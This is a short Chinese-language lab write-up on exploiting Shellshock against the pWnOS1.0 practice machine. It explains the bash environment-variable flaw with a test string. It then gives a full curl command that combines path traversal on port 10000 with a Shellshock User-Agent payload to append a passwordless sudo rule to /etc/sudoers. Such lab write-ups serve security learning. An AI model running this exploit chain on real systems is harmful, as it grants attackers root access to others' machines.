漏洞存在于bash<4.3之前的版本。
Bash解释器在解释环境变量时,不仅仅是简单地替换变量的值,它还会对变量的内容进行解释,包括其中可能存在的特殊字符和命令。这就是为什么插入恶意函数之后,这些函数能够被执行的原因。
在Shellshock漏洞中,攻击者可以通过在环境变量中插入恶意代码,例如函数定义,然后触发Bash解释器执行这些代码。这是因为Bash解释器在解释环境变量时,并不仅仅是将变量的值替换为文本,而是会尝试解释其中的特殊字符和命令。
如果在环境变量中插入了以下内容:
env FUNC='() { echo "66666!"; }; echo "shellshock" '
当Bash解释器遇到这个环境变量时,它会尝试将 FUNC
定义为一个函数。然后,如果有任何触发条件,比如执行后面的命令时,Bash会执行这个恶意函数,并输出语句。这样可以证明漏洞存在。
在提权之前,先在目标主机写一个文件baji.cgi其中写入#!/bin/bash,这个文件可以用来触发bash解释器。之后添加执行权限。
这次的pWnOS1.0靶机有任意文件读取漏洞,所以只需要在读取时添加
/bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers
去提权就行,
借助漏洞利用的脚本直接更改脚本内容,发现不行,我不会改perl语言。看了别的大佬是借助核心代码构造url并用curl命令去读取。
curl http://192.168.230.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/baji.cgi -A '() { :; }; /bin/echo "vmware ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers'
提权成功